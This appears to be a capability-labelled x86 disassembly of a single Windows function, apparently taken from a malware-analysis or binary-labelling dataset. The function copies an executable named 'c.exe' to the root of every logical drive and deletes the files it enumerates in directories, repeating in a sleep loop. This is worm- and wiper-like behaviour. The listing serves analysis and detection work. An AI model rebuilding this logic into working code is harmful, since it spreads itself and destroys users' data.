Function at 0x402140
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.c.exe]
push ebx
push esi
push edi
mov dword [ebp - 0x44c], eax
mov ax, word [0x405364]
push 0x103
mov word [ebp - 0x448], ax
lea eax, [ebp - 0x1bb]
push 0
push eax
mov dword [ebp - 0x446], 0
mov byte [ebp - 0x1bc], 0
call sub.VCRUNTIME140.dll_memset
push 0x95
lea eax, [ebp - 0xb7]
mov byte [ebp - 0xb8], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esp, 0x18
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
nop dword [eax + eax]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2fc]
push eax
push 0x405368
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402213
test byte [ebp - 0x2fc], 0x10
jne 0x402202
push dword [0x4082c8]
lea eax, [ebp - 0x2d0]
push eax
call fcn.00401af0
add esp, 8
lea eax, [ebp - 0x2fc]
push eax
push esi
call edi
test eax, eax
jne 0x4021e4
push esi
call ebx
push 0x4083f0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [0x4083f0], 0
mov ebx, 0x4083f0
je 0x4022b9
lea edx, [ebp - 0x20]
mov ecx, ebx
sub edx, ebx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x402240
lea edx, [ebp - 0x44c]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402255
lea edi, [ebp - 0x20]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402262
mov ecx, edx
lea eax, [ebp - 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x4082d0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40229e
lea eax, [ebp - 0x20]
push eax
push str.Failed_to_copy_file_to__s_n
call fcn.00403190
add esp, 8
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4022a3
sub ecx, edx
inc ebx
add ebx, ecx
cmp byte [ebx], al
jne 0x402235
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x2fc]
push eax
push 0x4052f8
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, eax
mov dword [ebp - 0x440], esi
cmp esi, 0xffffffff
je 0x4021c0
test byte [ebp - 0x2fc], 0x10
je 0x402404
xor ecx, ecx
mov al, byte [ebp + ecx - 0x2d0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x1bd], al
test al, al
jne 0x4022f1
lea ecx, [ebp - 0x1bc]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402310
mov eax, dword [str..]
mov dword [ecx], eax
mov al, byte [0x405390]
mov byte [ecx + 4], al
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402404
nop dword [eax + eax]
xor ecx, ecx
mov al, byte [ebp + ecx - 0x2d0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0xb9], al
test al, al
jne 0x402352
lea edi, [ebp - 0xb8]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x402370
mov ax, word [0x405394]
lea edx, [ebp - 0x410]
mov word [edi], ax
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x402390
lea edi, [ebp - 0xb8]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023a0
mov ecx, edx
lea eax, [ebp - 0xb8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4023db
lea eax, [ebp - 0xb8]
push eax
push str.Failed_to_delete_file__s_n
call fcn.00403190
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x43c]
push eax
push ebx
call edi
test eax, eax
jne 0x402350
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
call ebx
mov esi, dword [ebp - 0x440]
jmp 0x40240a
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x2fc]
push eax
push esi
call edi
test eax, eax
jne 0x4022e2
push esi
call ebx
jmp 0x4021c0